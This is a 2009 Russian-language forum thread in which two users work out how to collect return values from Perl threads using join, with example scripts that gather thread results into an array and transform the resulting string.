Т.е. как бы примеров с многопоточными функции в инете полно, но везде производится просто ВЫВОД НА МОНИТОР, как именно ВЕРНУТЬ полученное значение, чтобы использовать его дальше? Спасибо

krypt3r

25.10.2009, 17:41

$res = $trl[$_]->join;

Pashkela

25.10.2009, 17:49

спасибо, задумка понятна, но там join в цикле, при попыке ретурна обрываются потоки, как корректно прилепить этот вариант к коду выше?

krypt3r

25.10.2009, 18:18

а что предполагается получить?

Pashkela

25.10.2009, 18:25

$ii

krypt3r

25.10.2009, 18:33

Я в более глобальном смысле)

Pashkela

25.10.2009, 18:36

То значение, которое выводится на экран, мне надо не прости вывести на экран, но получит возможность работать с этой переменной дальше. Как еще объяснить - хз.

krypt3r

25.10.2009, 18:42

если переписать функцию gets1 так

sub gets1 {
$| = 1;
$ii = "";
$i = 0;
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
#print $ii . "\n";
$i++;
}
print $i, "\n";
}

получим вывод

10
0
0
0
0
0
0
0
0
0
0

Цикл while отрабатывает лишь в первом потоке. Переменная $ii определена после цикла лишь при первом вызове подпрограммы. Это так и предполагается?)

Pashkela

25.10.2009, 19:06

издеваешься?:) Еще раз:

вопрос, есть такой код:
Код:

#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;

$a = gets();
print $a . "\n";

sub gets {
$thr = 10;
$n = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
print $ii . "\n";
}
return $ii;
}
}

как получить значение $ii ?

krypt3r

25.10.2009, 19:19

Ну почему же издеваюсь. Если воткнуть print $ii не перед закрывающей фигурной сккобкой, а после (перед ретурном), все будет видно)

ЗЫ.

#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;

$a = gets();
print $_, "\n" for @$a;
#print $a . "\n";

sub gets {
$thr = 10;
$n = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
$res[$_] = $trl[$_]->join;
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
#print $ii . "\n";
}
#print $ii, "\n";
return $ii;
}
return \@res;
}

Pashkela

25.10.2009, 19:33

круть, спасибо, если заменить на

print $_, "\r" for @$a;

то как раз то, что надо

PS: Но остался последний момент, это опять вывод просто на экран, а если $ii мне нужно как число для дальнейших операций, то вариант не подходит

Т.е. вопрос в том, как мне выцепить после всех этих извращенств число "12345678910" и юзать его дальше

krypt3r

25.10.2009, 20:12

Ну вот, к примеру, надо добавить к коду каждого символа строки число 2 и вывести на экран новую строку

$a = gets();
@b = unpack 'C*', $a->[0];
$_ += 2 for @b;
print pack 'C*', @b;

Pashkela

25.10.2009, 20:19

спасибо, твои советы мне очень помогли